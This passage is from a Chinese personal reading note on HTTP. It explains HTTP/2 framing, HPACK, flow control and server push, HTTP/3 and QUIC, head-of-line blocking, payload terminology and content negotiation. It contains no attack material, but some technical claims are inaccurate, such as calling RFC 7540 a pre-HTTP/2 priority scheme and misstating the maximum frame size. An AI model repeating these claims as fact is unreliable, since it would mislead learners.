  3. 管道化是HTTP1.1协议下,服务器不能很好处理并行请求的改进,但是这个方案不理想,围魏救赵失败并且最终被各大浏览器禁用掉。
  4. FIFO队列的有序和TCP 的有序性区别可以简单认为是强一致性和弱一致性的区别。FIFO队列有序性指的是请求和响应必须按照队列发送的规则完全一样,而TCP仅仅是保证了发送和响应的大致逻辑顺序,真实的情况和描述的情况可能不一致。
  5. 因为管道是把累赘丢给了服务端,从客户端的角度来看自己完成了全双工的通信。实际上这只是伪全双工通信。

Cookie

Cookie的内容不是本书重点,如果需要了解相关知识可以直接往上查询资料了解,基本一抓一大把。

2.2.5 [HTTP/2](HTTP/2 (ietf.org))

HTTP2的协议改动比较大,从整体上来看主要是下面一些重要调整:

  • SPDY:这个概念是谷歌提出的,起初是希望作为一个独立协议,但是最终SPDY的相关技术人员参与到了HTTP/2,所以谷歌浏览器后面全面支持HTTP/2放弃了SPDY单独成为协议的想法,对于SPDY,具有如下的改进点:
  • HTTP Speed + Mobility:微软提出改善移动端通信的速度和性能标准,它建立在 Google 公司提出的 SPDY与 WebSocket 的基础之上。
  • Network-Friendly HTTP Upgrade:移动端通信时改善 HTTP 性能。

从三者的影响力来看,显然是Google的影响力是最大的,从HTTP3.0开始以谷歌发起可以看出HTTP协议的标准制定现在基本就是谷歌说了算。

接着我们就来看看最重要SPDY,谷歌是一个极客公司,SPDY可以看做是HTTP1.1和HTTP/2正式发布之间谷歌弄出来的一个提高HTTP协议传输效率的“玩具” ,重点优化了HTTP1.X的请求延迟问题,以及解决HTTP1.X的安全性问题:

  • 降低延迟(多路复用):使用多路复用来降低高延迟的问题,多路复用指的是使用Stream让多个请求可以共享一个TCP连接,解决HOL Blocking(head of line blocking)(队头阻塞)的问题,同时提升带宽利用率。
    • HTTP1.1中keep-alive用的是http pipelining本质上也是multiplexing,但是具体实现方案不理想 。
    • 主流浏览器都默认禁止pipelining,也是因为HOL阻塞问题导致。
  • 服务端推送:HTTP1.X的推送都是半双工,所以在2.0是实现真正的服务端发起请求的全双工,另外在WebSocket在这全双工一块大放异彩。
  • 请求优先级:针对引入多路复用的一个兜底方案,多路复用使用多个Stream的时候容易单请求阻塞问题。也就是前文所说的和管道连接一样的问题,SPDY通过设置优先级的方式让重要请求优先处理,比如页面的内容应该先进行展示,之后再加载CSS文件美化以及加载脚本互动等等,实际减少用户不会在等待过程中关闭页面到几率。
  • Header压缩:HTTP1.X的header很多时候都是多余的,所以2.0 会自动选择合适的压缩算法自动压缩请求加快请求和响应速度。
  • 基于HTTPS的加密协议传输:HTTP1.X 本身是不会加入SSL加密的,而2.0 让HTTP自带SSL,从而提高传输可靠和稳定性。

这些内容在后续大部分都被HTTP/2 采纳,下面就来看看HTTP/2具体的实施细节。

HTTP/2具体实施(重点)

当然这一部分也只讲到了协议中一些重点的升级内容,详细内容请参考“参考资料”活着点击HTTP/2的标题。

二进制帧(Stream)

HTTP/2 使用流(二进制)替代 ASCII 编码传输提升传输效率,客户端发送的请求都会封装为带有编号的二进制帧,然后再发送给服务端处理。

HTTP/2 通过 一个TCP连接完成多次请求操作,服务端接受流数据并且检查编号将其合并为一个完整的请求内容,这样同样需要按照二进制帧的拆分规则拆分响应。像这样利用二进制分帧 的方式切分数据,客户端和服务端只需要一个请求就可以完成通信,也就是SPDY提到的多个Stream 合并到一个TCP连接中完成。

二进制分帧把数据切分成更小的消息和帧,采用了二进制的格式进行编码,在HTTP1.1 当中首部消息封装到Headers当中,然后把Request body 封装到 Data帧。

HTTP2.0
HTTP2.0

使用二进制分帧目的是向前兼容,需要在应用层和传输层之间加一层二进制分帧层,让HTTP1.X 协议更加简单的升级同时不会对过去的协议产生冲突 。

帧、消息、Stream之间的关系

  • 帧:可以认为是流当中的最小单位。
  • 消息:表示HTTP1.X中的一次请求。
  • Stream:包含1条或者多条message。

二进制分帧结构

二进制分帧结构主要包含了头部帧和数据帧两个部分,头部在帧数只有9个字节,注意R属于标志位保留。所以整个算下来是:

3个字节帧长度+1个字节帧类型 + 31bit流标识符、1bit未使用标志位 构成。

image-20220801174510263
image-20220801174510263

帧长度:数据帧长度,24位的3字节大小,取值为 2^14(16384) - 2^24(1677215)之间,接收方的 SETTINGS_MAS_FRAM_SIZE 设置。

帧类型:分辨数据帧还是控制帧。

标志位:携带简单控制信息,标志位表示流的优先级。

流标识符:表示帧属于哪一个流的,上限为2的31次方,接收方需要根据流标识的ID组装还原报文,同一个Stream的消息必须是有序的。此外客户端和服务端分别用奇数和偶数标识流,并发流使用了标识才可以应用多路复用。

R:1位保留标志位,暂未定义,0x0为结尾。

帧数据:实际传输内容由帧类型指定。

如果想要知道更多细节,可以参考“参考资料”部分的官方介绍以及结合WireShark抓包使用,本读书笔记没法面面俱到和深入

最后是补充帧类型的具体内容,帧类型定义了10种类型的帧数:

image-20220801174445090
image-20220801174445090

多路复用 (Multiplexing)

有了前面二进制帧结构的铺垫,现在再来看看多路复用是怎么回事,这里首先需要说明在过去的HTTP1.1中存在的问题:

同一时间同一域名的请求存在访问限制,超过限制的请求会自动阻塞。

在传统的解决方案中是利用多域名访问以及服务器分发的方式让资源到特定服务器加载,让整个页面的响应速度提升。比如利用多个域名的CDN进行访问加速

随着HTTP/2的更新,HTTP2改用了二进制帧作为替代方案,允许单一的HTTP2请求复用多个请求和响应内容,也就是说可以一个包里面打包很多份“外卖”一起给你送过来。

image-20220801174432454
image-20220801174432454

此外,流控制数据也意味着可以支持多流并行而不过多依赖TCP,因为通信缩小为一个个帧,帧内部对应了一个个消息,可以实现并行的交换消息。

Header压缩(Header Compression)

HTTP1.X 不支持Header压缩,如果页面非常多的去看下会导致带宽消耗和不必要的浪费。

针对这个问题在SPDY中 的解决方案是利用DEFLATE 格式的字段,这种设计非常有效,但是实际上存在CRIME信息泄露的攻击手段。

在HTTP/2 当中定义了HPACK,HPACK算法通过静态的哈夫曼编码对于请求头部进行编码减少传输大小,但是需要让客户端和服务端之间维护首部表,首部表可以维护和存储之前发过的键值对信息,对于重复发送的报文内容可以直接通过查表获取,减少冗余数据产生,后续的第二个请求将会发送不重复的数据。

HPACK压缩算法主要包含两个模块,索引表哈夫曼编码,索引表同时分为动态表和静态表,静态表内部预定义了61个Header的K/V 数值,而动态表是先进先出的队列,初始情况下内容为空,而解压header则需要每次添加的时候放到队头,移除从队尾开始。

注意动态表为了防止过度膨胀占用内存导致客户端崩溃,在超过一定长度过后会自动释放HTTP/2请求。

HPACK算法

HPACK算法是对于哈夫曼算法的一种应用和改进,哈夫曼算法经典案例是就是ZIP压缩,也就是虽然我们可能不清楚却是可能天天在用的一个东西。

HPACK算法的思路是在客户端和服务端两边各维护一个哈希表,然后双端通过表中缓存Headers字段减少流中二进制数据传输,进而提高传输效率。

HPACK三个主要组件有如下细节:

  • 静态表:HTTP2为出现在头部的字符串和字段静态表,包含61个基本的headers内容,
  • 动态表:静态表只有61个字段,所以利用动态表存储不在静态表的字段,从62开始进行索引,在传输没有出现的字段时候,首先对于建立索引号,然后字符串需要经过哈夫曼编码完成二进制转化发给服务器,如果是第二次发送则找到对应的动态表的索引找到即可,这样有效避免一些冗余数据的传输。
  • 哈夫曼编码:这一算法非常重要,对于近代互联网的发展有着重大影响。

哈夫曼编码:是一种用于无损数据压缩熵编码(权编码)算法。由美国计算机科学家大卫·霍夫曼(David Albert Huffman)在1952年发明。 霍夫曼在1952年提出了最优二叉树的构造方法,也就是构造最优二元前缀编码的方法,所以最优二叉树也别叫做霍夫曼树,对应最优二元前缀码也叫做霍夫曼编码。

下面为哈夫曼编码对应的原始论文:

哈夫曼编码原始论文:

链接:https://pan.baidu.com/s/1r_yOVytVXb-zlfZ6csUb2A?pwd=694k 提取码:694k

此外这里有个讲的比较通俗的霍夫曼的视频,强烈建议反复观看,能帮你快速了解哈夫曼编码是怎么回事,当然前提是得会使用魔法。

https://www.youtube.com/watch?v=Jrje7ep5Ff8&t=29s

请求优先级

请求优先级实际上并不是HTTP/2才出现的,在此之前的的RFC7540中定义了一套优先级的相关指令,但是由于它过于复杂最后并没用被普及,但是里面的信息依然是值得参考的。

HTTP/2的内容取消了所有关于RFC7540优先级的指令,所有的描述被删除并且被保留在原本的协议当中。

HTTP/2利用多路复用,所以有必要优先使用重要的资源分配到前面优先加载,但是实际上在实现方案过程中优先级是不均衡的,许多服务器实际上并不会观察客户端的请求和行为。

最后还有根本性的缺点,也就是TCP层是无法并行的,在单个请求当中的使用优先级甚至有可能性能弱于HTTP1.X。

流量控制

所谓流量控制就是数据流之间的竞争问题,需要注意HTTP2只有流数据才会进行控制,通过使用WINDOW_UPDATE帧来提供流量控制。

注意长度不是4个八位字节的window_update 帧需要视为 frame_size_error的错误进行响应。

PS:下面的设计中有效载荷是保留位+ 31位的无符号整数,表示除了现在已经有的流控制窗口之外还能额外传输8个字节数的数据,所以最终合法范围是 1到 2^31 - 1 (2,147,483,647) 个八位字节。

WINDOW_UPDATE Frame {
  Length (24) = 0x04,
  Type (8) = 0x08,

  Unused Flags (8),

  Reserved (1),
  Stream Identifier (31),

  Reserved (1),
  Window Size Increment (31),
}

对于流量控制,存在下面几个显著特征:

  • 流量控制需要基于HTTP中间的各种代理服务器控制,不是非端到端的控制;
  • 基于信用基础公布每个流在每个连接上接收了多少字节,WINDOW_UPDATE 框架没有定义任何标志,并没有强制规定;
  • 流量的控制存在方向概念,接收方负责流量控制,并且可以设置每一个流窗口的大小;
  • WINDOW_UPDATE 可以对于已设置了 END_STREAM 标志的帧进行发送,表示接收方这时候有可能进入了半关闭或者已经关闭的状态接收到WINDOW_UPDATE帧,但是接收者不能视作错误对待;
  • 接收者必须将接收到流控制窗口增量为 0 的 WINDOW_UPDATE 帧视为PROTOCOL_ERROR类型的流错误 ;

服务器推送

服务器推送意图解决HTTP1.X中请求总是从客户端发起的弊端,服务端推送的目的是更少客户端的等待以及延迟。但是实际上服务端推送很难应用,因为这意味着要预测用户的行为。服务端推送包含推送请求推送响应的部分。

推送请求

推送请求使用PUSH_PROMISE 帧作为发送,这个帧包含字段块,控制信息和完整的请求头字段,但是不能携带包含消息内容的相关信息,因为是指定的帧结构,所以客户端也需要显式的和服务端进行关联,所以服务端推送 请求也叫做“Promised requests”。

当请求客户端接收之后是传送CONTINUATION帧,CONTINUATION帧头字段必须是一组有效的请求头字段,服务器必须通过":method"伪字段头部添加安全可缓存的方法,如果客户端收到的缓存方法不安全则需要在PUSH_PROMISE帧上响应错误,这样的设计有点类似两个特务对暗号,一个暗号对错了就得立马把对方弊了。

PUSH_PROMISE可以在任意的客户端和服务端进行传输,但是有个前提是流对于服务器需要保证“半关闭“或者“打开“的状态,否则不允许通过CONTINUATION或者HEADERS 字段块传输。

PUSH_PROMISE帧只能通过服务端发起,因为专为服务端推送设计,使用客户端推送是“不合法“的。

PUSH_PROMISE 帧结构:

再次强调有效载荷是一个保留位+ 31位的无符号整数。有效载荷是什么?是对于HTTP1.1协议中实体的术语重新定义,可以简单看做是报文的请求Body。

下面是对应得源代码定义:

PUSH_PROMISE帧定义

PUSH_PROMISE Frame {
  Length (24),
  Type (8) = 0x05,
  
  Unused Flags (4),
  PADDED Flag (1),
  END_HEADERS Flag (1),
  Unused Flags (2),

  Reserved (1),
  Stream Identifier (31),

  [Pad Length (8)],
  Reserved (1),
  Promised Stream ID (31),
  Field Block Fragment (..),
  Padding (..2040),
}

CONTINUATION 帧:用于请求接通之后继续传输,注意这个帧不是专用于服务端推送的。

CONTINUATION Frame {
  Length (24),
  Type (8) = 0x09,

  Unused Flags (5),
  END_HEADERS Flag (1),
  Unused Flags (2),

  Reserved (1),
  Stream Identifier (31),

  Field Block Fragment (..),
}

推送响应

如果客户端不想接受请求或者服务器发起请求的时间过长,可以通过RST_STREAM 帧代码标识发送CANCEL 或者REFUSED_STREAM 内容告诉服务器自己不接受服务端请求推送。

而如果客户端需要接收这些响应信息,则需要按照之前所说传递CONTINUATION以及PUSH_PROMISE接收服务端请求。

其他特点:

  1. 客户端可以使用SETTINGS_MAX_CONCURRENT_STREAMS设置来限制服务器可以同时推送的响应数量。
  2. 如果客户端不想要接收服务端的推送流,可以把SETTINGS_MAX_CONCURRENT_STREAMS设置为0或者重置PUSH_PROMISE保留流进行处理。

2.2.6 HTTP/3

进度追踪:RFC 9114 - HTTP/3 (ietf.org)

为什么会存在3?

可以发现HTTP/2虽然有了质的飞跃,但是因为TCP协议本身的缺陷,队头阻塞的问题依然可能存在,同时一旦出现网络拥堵会比HTTP1.X情况更为严重(用户只能看到一个白板)。

所以后续谷歌的研究方向转为研究QUIC,实际上就是改良UDP协议来解决TCP协议自身存在的问题。但是现在看来这种改良不是很完美,目前国内部分厂商对于QUIC进行自己的改进。

HTTP/3 为什么选择UDP

这就引出另一个问题,为什么3.0有很多协议可以选择,为什么使用UDP?通常有下面的几个点:

  • 基于TCP 协议的设备很多,兼容十分困难。
  • TCP是Linux内部的重要组成,修改非常麻烦,或者说压根不敢动。
  • UDP本身无连接的,没有建立连接和断连的成本。
  • UDP数据包本身就不保证稳定传输所以不存在阻塞问题(属于爱要不要)。
  • UDP改造相对其他协议改造成本低很多

HTTP/3 新特性

  • QUIC(无队头阻塞):优化多路复用,使用QUIC协议代替TCP协议解决队头阻塞问题,QUIC也是基于流设计但是不同的是一个流丢包只会影响这一条流的数据重传,TCP 基于IP和端口进行连接,多变的移动网络环境之下十分麻烦,QUIC通过ID识别连接,只要ID不变,网络环境变化是可以迅速继续连接的。
  • 0RTT:注意建立连接的0TT在HTTP/3上目前依然没有实现,至少需要1RTT。

RTT:RTTRound Trip Time的缩写,简单来说就是通信一来一回的时间。 RTT包含三部分:

  • 往返传播延迟。
  • 网络设备排队延迟。
  • 应用程序处理延迟。

HTTPS建立完整连接通常需要TCP握手和TLS握手,至少要2-3个RTT,普通的HTTP也至少要1个RTT。QUIC的目的是除开初次连接需要消耗1RTT时间之外,其他的连接可以实现0RTT。

为什么无法做到初次交互0RTT? 因为初次传输说白了依然需要传输两边到密钥信息,因为存在数据传输所以依然需要1个RTT的时间完成动作,但是在完成握手之后的数据传输只需要0RTT的时间。

  • 前向纠错:QUIC的数据包除了本身的内容之外,还允许携带其他数据包,在丢失一个包的时候,通过携带其他包的数据获取到丢包内容。

    具体要怎么做呢?例如3个包丢失一个包,可以通过其他数据包(实际上是校验包)异或值计算出丢失包的“编号”然后进行重传,但是这种异或操作只能针对一个数据包丢失计算,如果多个包丢失,用异或值是无法算出一个以上的包的,所以这时候还是需要重传(但是QUIC重传代价比TCP的重传低很多)。

  • 连接迁移:QUIC放弃了TCP的五元组概念,使用了64位的随机数ID充当连接ID,QUIC 协议在切换网络环境的时候只要ID一致就可以立马重连。对于现代社会经常wifi和手机流量切换的情况十分好用的一次改进。

术语解释⚠️:

5元组:是一个通信术语,英文名称为five-tuple,或5-tuple,通常指由**源Ip (source IP), 源端口(source port),目标Ip (destination IP), 目标端口(destination port),4层通信协议 (the layer 4 protocol)**等5个字段来表示一个会话,是会话哦。 这个概念在《网络是怎么样连接的》这本书中也有提到类似的概念。那就是在第一章中创建套接字的步骤,创建套接字实际上就需要用到这个五元祖的概念,因为要创建“通道”需要双方给自告知自己的信息给对方自己的IP和端口,这样才能完成通道创建和后续的协议通信。

顺带拓展一下4元组和7元组。

4元组:即用4个维度来确定唯一连接,这4个维度分别是**源Ip (source IP), 源端口(source port),目标Ip (destination IP), 目标端口(destination port)**。

7元组:即用7个字段来确定网络流量,即源Ip (source IP), 源端口(source port),目标Ip (destination IP), 目标端口(destination port),4层通信协议 (the layer 4 protocol),服务类型(ToS byte),接口索引(Input logical interface (ifIndex))

  • 加密认证的报文:QUIC 默认会对于报文头部加密,因为TCP头部公开传输,这项改进非常重要。

  • 流量控制,传输可靠性:QUICUDP 协议上加了一层数据可靠传输的可靠性传输,因此流量控制和传输可靠性都可以得到保证。

  • 帧格式变化

    下面是网上资料对比HTTP2和3之间的格式差距,可以发现HTTP/3 帧头只有两个字段:类型和长度。帧类型用来区分数据帧和控制帧,这一点是继承自HTTP/2的变化,数据帧包含HEADERS帧,DATA帧,HTTP包体。

    帧格式变化
    帧格式变化
  • 关于2.0的头部压缩算法升级成了 QPACK算法:需要注意HTTP3的 **QPACK**算法与 HTTP/2 中的 HPACK 编码方式相似,HTTP/3 中的 QPACK 也采用了静态表、动态表及 Huffman 编码。

    那么相对于之前的算法HPACKQPACK算法有什么升级呢?首先HTTP/2 中的 HPACK 的静态表只有 61 项,而 HTTP/3 中的 QPACK 的静态表扩大到 91 项。

    最大的区别是对于动态表做了优化,因为在HTTP2.0中动态表存在时序性的问题。

    所谓时序性问题是在传输的时候如果出现丢包,此时一端的动态表做了改动,但是另一端是没改变的,同样需要把编码重传,这也意味着整个请求都会阻塞掉。

时序性问题
时序性问题

因此HTTP3使用UDP的高速,同时保持QUIC的稳定性,并且没有忘记TLS的安全性,在2018年的YTB直播中宣布QUIC作为HTTP3的标准。

YTB 地址:(2) IETF103-HTTPBIS-20181108-0900 - YouTube,可怜互联网的天花板协议制定团队IETF连1万粉丝都没有。

HTTP3协议改进
HTTP3协议改进

2.3 HTTP部分问题讨论

2.3.1 队头阻塞问题(head of line blocking)

队头阻塞问题不仅仅只是处在HTTP的问题,实际上更加底层的协议以及网络设备通信也会存在线头阻塞问题。

交换机

当交换机使用FIFO队列作为缓冲端口的缓冲区的时候,按照先进先出的原则,每次都只能是最旧的网络包被发送,这时候如果交换机输出端口存在阻塞,则会发生网络包等待进而造成网络延迟问题。

但是哪怕没有队头阻塞,FIFO队列缓冲区本身也会卡住新的网络包,在旧的网络包后面排队发送,所以这是FIFO队列本身带来的问题。

有点类似核酸排队,前面的人不做完后面的人做不了,但是前面的人一直不做,后面也只能等着。

交换机HO问题解决方案

使用虚拟输出队列的解决方案,这种方案的思路是只有在输入缓冲区的网络包才会出现HOL阻塞,带宽足够的时候不需要经过缓冲区直接输出,这样就避免HOL阻塞问题。

无输入缓冲的架构在中小型的交换机比较常见。

线头阻塞问题演示

交换机:_交换机根据 MAC 地址表查找 MAC 地址, 然后将信号发送到相应的端口_一个网络信号转接设备,有点类似电话局中转站。

线头阻塞示例:第 1 和第 3 个输入流竞争时,将数据包发送到同一输出接口,在这种情况下如果交换结构决定从第 3 个输入流传输数据包,则无法在同一时隙中处理第 1 个输入流。

请注意,第一个输入流阻塞了输出接口 3 的数据包,该数据包可用于处理。

无序传输

因为TCP不保证网络包的传输顺序,所以可能会导致乱序传输,HOL阻塞会显著的增加数据包重新排序问题。

同样为了保证有损网络可靠消息传输,原子广播算法虽然解决这个问题,但是本身也会产生HOL阻塞问题,同样是由于无序传输带来的通病。

Bimodal Multicast 算法是一种使用 gossip 协议的随机算法,通过允许乱序接收某些消息来避免线头阻塞。

HTTP线头阻塞

HTTP 在 2.0 通过多路复用的方式解决了HTTP协议的弱点并且真正意义上消除应用层HOL阻塞问题,但是TCP协议层的无序传输依然是无法解决的。

于是在3.0中直接更换TCP协议为 QUIC 协议消除传输层的HOL阻塞问题。

2.4.2 HTTP/2 全双工支持

注意HTTP直到2.0才是真正意义上的全双工,所谓的HTTP支持全双工是混淆了TCP协议来讲的,因为TCP是支持全双工的,TCP可以利用网卡同时收发数据。

为了搞清楚TCP和HTTP全双工的概念, 应该理解HTTP中双工的两种模式:半双工(http 1.0/1.1),全双工(http 2.0)

半双工:同一时间内链接上只能有一方发送数据而另一方接受数据。

  • http 1.0 是短连接模式,每个请求都要建立新的 tcp 连接,一次请求响应之后直接断开,下一个请求重复此步骤。
  • http 1.1 是长连接模式,可以多路复用,建立 tcp 连接不会立刻断开,资源1 发送响应,资源2 发送响应,资源3 发送响应,免去了要为每个资源都建立一次 tcp 的开销。

全双工:同一时间内两端都可以发送或接受数据 。

  • http 2.0 资源1客户端发送请求不必等待响应就可以继续发送资源2 的请求,最终实现一边发,一边收。

2.4.3 HTTP 2.0 缺点

  • 解决了HTTP的队头请求阻塞问题,但是没有解决TC P协议的队头请求阻塞问题,此外HTTP/2需要同时使用TLS握手和 HTTP握手耗时,同时在HTTPS连接建立之上需要使用TLS进行传输。
  • HTTP/2的队头阻塞出现在当TCP出现丢包的时候,因为所有的请求被放到一个包当中,所以需要重传,TCP 此时会阻塞所有的请求。但是如果是HTTP1.X,那么至少是多个TCP连接效率还要高一些,
  • 多路复用会增大服务器压力,因为没有请求数量限制,短时间大量请求会瞬间增大服务器压力
  • 多路复用容易超时,因为多路复用无法鉴定带宽以及服务器能否承受多少请求。

丢包不如HTTP1.X

丢包的时候出现的情况是HTT P2.0因为请求帧都在一个TCP连接,意味着所有的请求全部要跟着TCP阻塞,在以前使用多个TCP连接来完成数据交互,其中一个阻塞其他请求依然可以正常抵达反而效率高。

二进制分帧目的

根本目的其实是为了让更加有效的利用TCP底层协议,使用二进制传输进一步减少数据在不同通信层的转化开销。

HTTP1.X的Keep-alive缺点

  • 必须按照请求响应的顺序进行交互,HTTP2的多路复用则必须要按顺序响应。
  • 单个TCP一个时刻处理一个请求,但是HTTP2同一个时刻可以同时发送多个请求,同时没有请求上限。

2.4.4 HTTP协议真的是无状态的么?

仔细阅读HTTP1.x和HTTP/2以及HTTP3.0三个版本的对比,其实会发现HTTP无状态的定义偷偷发生了变化的,为什么这么说?

在讲解具体内容之前,我们需要弄清一个概念,那就是Cookie和Session虽然让HTTP实现了“有状态”,但是其实这和HTTP协议本身的概念是没有关系的。

CookieSession的出现根本目的是保证会话状态本身的可见性,两者通过创立多种独立的状态“模拟”用户上一次的访问状态,但是每一次的HTTP请求本身并不会依赖上一次HTTP的请求,单纯从广义的角度看待其实所有的服务都是有状态的,但是这并不会干扰HTTP1.X本身无状态的定义。

此外HTTP协议所谓的无状态指的是每个请求是完全的独立的,在1.0备忘录定义也可以看出一次HTTP连接其实就是一次TCP连接,到了HTTP1.1实现了一个TCP多个HTTP连接依然是可以看做独立的HTTP请求。

说了这么多,其实就是说HTTP1.X在不靠Cookie和Session扶着的时候看做无状态是对的,就好比游戏里面的角色本身的数值和武器附加值的对比,武器虽然可以让角色获得某种状态,但是这种状态并不是角色本身特有的,而是靠外力借来的。

然而随着互联网发展,到了HTTP/2和HTTP3之后,HTTP本身拥有了“状态”定义。比如2.0关于HEADER压缩产生的HPACK算法(需要维护静态表和动态表),3.0还对HPACK算法再次升级为QPACK让传输更加高效。

所以总结就是严谨的来说HTTP1.X是无状态的,在Cookie和Session的辅助下实现了会话访问状态的保留。

到了HTTP/2之后HTTP是有状态的, 因为在通信协议中出现了一些状态表来维护双方重复传递的Header字段减少数据传输。

2.4 小结

这一章节本来应该是全书的核心内容,奈何作者似乎并不想让读者畏惧,所以讲的比较浅显,个人花费了不少精力收集网上资料结合自己的思考整理出第二章的内容。

关于HTTP的整个发展史是有必要掌握的,因为八股有时候会提到相关问题,问的深入一些确实有些顶不住,HTTP 协议也是应用层通信协议的核心,其次作为WEB开发人员个人认为是更是有必要掌握的。

另外了解HTTP的设计本身可以让我们过渡到TCP协议的了解,TCP的设计导致了HTTP设计的影响等问题可以做更多思考。

关于更多内容建议可以看看《网络是怎么样连接》的这一篇读书笔记,原书从整个TCP/IP 结构的角度通俗的讲述了有关互联网发展的基本脉络,而这一篇讲述了HTTP发展的基本历史和未来的发展方向。

三、《图解HTTP》- 报文内的 HTTP信息

知识点

  1. HTTP 请求报文结构。
  2. 请求报文和主体差异,介绍有关报文和主体相关的一些概念信息。
  3. 内容协商:什么是内容协商?关于内容协商的几种方式。

3.1 HTTP请求报文结构

请求和响应报文的结构如下:

HTTP请求报文结构
HTTP请求报文结构

下面是有关请求报文请求和响应的案例。

请求报文请求和响应的案例
请求报文请求和响应的案例

3.2 报文和主体差异

为了提高HTTP传输效率,在请求中可以通过HTTP请求报文和实体加工的方式对于报文原文进行“编码”,这里的编码并不是单指文本字符串,而是更抽象意义上的编码。

介绍具体的内容之前我们需要先分清楚两个术语:报文实体

报文:是HTTP通信中的基本单位,由8位组 字节流(octet sequence,其中octet为8个比特)组成,通过HTTP通信传输。

实体(entity):作为请求或响应的 有效载荷数据(补充项)被传输,其内容由实体首部和实体主体组成。

为了理解实体的概念,需要了解有效载荷是怎么一回事:

负载(英语:Payload):负载指的是需要传输的实体数据信息,这也是为什么叫数据实体的原因。当然也可以叫做信头与元数据,或称为开销数据,仅用于辅助数据传输。

(header):指的是在一块数据存储或传输之际在头追加的数据,这些信息是对数据区的描述。

元数据(英语:metadata):……为描述其他数据信息的数据。

划掉实体是因为术语实体(entity)被有效载荷(payload)代替,书中所提到2616版本很多解释已经被废弃了,现在**RFC 2616 **已经被 RFC 7230 、 7235 取

代了。

下面这篇文章中讨论了实体和载荷的区别,以及为什么要取代载荷

#109 (Clarify entity / representation / variant terminology) – Hypertext Transfer Protocol Wiki (ietf.org)

有关负载的解释

原文:

Replaced entity with payload and variant with representation. Cleaned up description of 204 status code (related to ticket #22) Rewrote section on Content-Location and refer to def in RFC2557.

另外维基上有一个关于生活当中“有效载荷”的术语解释,通过描述可以从侧面理解官方为什么突然要把实体的概念重新解释。

摘自维基百科“有效载荷”: 有效载荷是飞机运载火箭携带的物体。有时,有效载荷也指飞机或运载火箭能够承载的重量。根据任务的性质,载具的有效载荷可能是货物乘客机组人员弹药、科学仪器或实验或其他设备。如果可以选择性携带,那额外的燃料也会被视为有效载荷的一部分,如空中加油任务。

个人认为负载(叫负荷也可以)这个解释要比实体这个解释好理解一些(实体稍显抽象),并且不会丢失实体本身的含义。

接着我们通过对比Chrome和Edge浏览器,发现在目前的版本中均存在负载的概念,过去的版本中实际上这部分内容被放到报文的请求实体 中,很显然这是不严谨的,在那个时候被称作实体

当然这两年这部分悄悄做了调整,显然在后续RFC修订协议过程中这些浏览器也对于这些概念进行跟进,不知道有多少人关注过,嗯,又是一个小细节。

Edge的“负载”
Edge的“负载”
Chrome的Payload
Chrome的Payload

所以负载概念取代实体概念目的是防止混淆(因为确实很容易搞混),实际上实体也分为首部和其他信息,实体首部是对该负载的描述,而负载和其它一些信息(请求行/状态行、各种首部字段等等)组织成报文进行传输。

书中有这样的图帮助我们了解实体和报文的差别,这张图也能说明为什么很多解释会把报文和实体(有效负载)看做是订单和货物的关系。

请求和响应报文结构
请求和响应报文结构

更头疼的概念

实际上还用更容易混淆的概念,**message body** 和 **payload body**。

根据 RFC 7230

HTTP 报文的报文主体(message body)(如果存在的话)是用来运载请求或响应的有效载荷主体(payload body)的。除非应用了传输编码,报文主体等价于有效载荷主体

换句话说只有在应用了传输编码的时候,负载=实体首部+实体主体,目前主要应用的传输编码是Transfer-Encoding: chunked,也就是分块传输的去看下负载的概念会出现转变,否则可以简单看做是报文的请求Body。

HTTP报文的主体用于传输请求或响应的实体主体,对于主体的处理优化HTTP在后续的版本中实现了下面这些特性:

  1. 压缩传输
  2. 分块传输编码
  3. 多数据多对象集合

压缩传输

首先需要明确到的是压缩是在负载上面完成的,并且压缩需要保证信息不遗失的原样压缩,否则压缩不完整的数据会导致数据发生错误。

常见的压缩方式是下面几种,其中gzip是图片经常使用的压缩方式:

  • `gzip(GNU zip)``

  • compress(UNIX 系统的标准压缩)

  • deflate(zlib)

  • identity(不进行编码)

压缩传输是有代价的,因为这个操作需要计算机完成,所以会增加服务器的工作量,不过这一点开销完全可以接受。

分块传输编码

实体主体分块的功能称为分块传输编码(Chunked TransferCoding),分块传输指的是传输编码会将实体内容拆分为多个块(chunck),也就是前文提到的Transfer-Encoding: chunked

需要注意在负载主体的最后一块会使用“0(CR+LF)”来标记块的大小。

多数据多对象集合

多数据多对象集主要包含如下内容:

  • mulitpart/form-data:在 Web 表单文件上传时使用;
  • mulitpart/byteranges:状态码 206(Partial Content,部分内容)响应报文包含了多个范围的内容时使用;

需要使用多数据多对象集合,需要在HTTP中指定Content-Type 首部字段。

enctype 属性

多数据多对象集合的一个代表属性,主要的作用是告知服务器自己将会传输什么类型的数据。

最常见的多部分对象集合的实际应用就是使用 HTML 表单发送文件。文件是二进制数据(或被视为二进制数据),而所有其他数据都是文本数据。由于 HTTP 是一种文本协议,因此对处理二进制数据有特殊要求。

3.3 内容协商

内容协商比较典型的案例是国际化,内容协商有点类似转译,服务器和客户端之间需要协商出一种最为合适的“中间”语言进行交流,然后按照字符集和编码格式进行交互。

基准和判断的基准是下面这几个首部字段的信息:

Accept
Accept-Charset
Accept-Encoding
Accept-Language
Content-Language

比如下面的维基在请求请求首部中就用到了这些信息。

content-encoding: gzip
content-language: zh
content-length: 17396
accept-ch: Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version

3.3.1 内容协商方式

内容协商的基本准则如下:

  1. 依靠客户端设置HTTP首部(也叫服务驱动内容协商或者说主动协商),内容协商最为标准的方式。
  2. 服务器返回300或406,代理驱动方式或者响应协商机制。

服务器驱动协商(Server-driven Negotiation)

由服务器端进行内容协商。服务端协商中客户端请求随同URL会发送一份消息头表明自己的倾向性,服务器按照这个倾向性选择合适的资源返回。

服务器驱动的优点是充分利用HTTP协议规范减少额外的行为,因为是内容协商而不是格式协商,决定权实际上还是在服务端这一边。

当然这样的优点导致的代价是服务端的复杂性增加,因为需要“猜测”客户端的信息,同时可能会导致客户端发送报文越来越复杂。

客户端驱动协商(Agent-driven Negotiation)

由客户端进行内容协商的方式,用户协商类似用户选择浏览器的类型自动进行切换。

注意客户端驱动如果服务端不能回应客户端的请求,会退化为 服务器驱动协商,客户端驱动为了获取自己想要的内容需要 第二次发送请求(第一次获取列表,第二次才是得到资源),可见客户端的驱动模式并不是一种常用的方式。

代理驱动型内容协商机制

针对透明代理的改良方案,代理驱动主要是解决服务端协商的比较显著的痛点:规模化问题。

所谓的规模化问题指的当服务端请求出现大量资源并且需要添加首部情况下,会出现请求体积膨胀并且精确信息的发送也带来信息泄露问题。
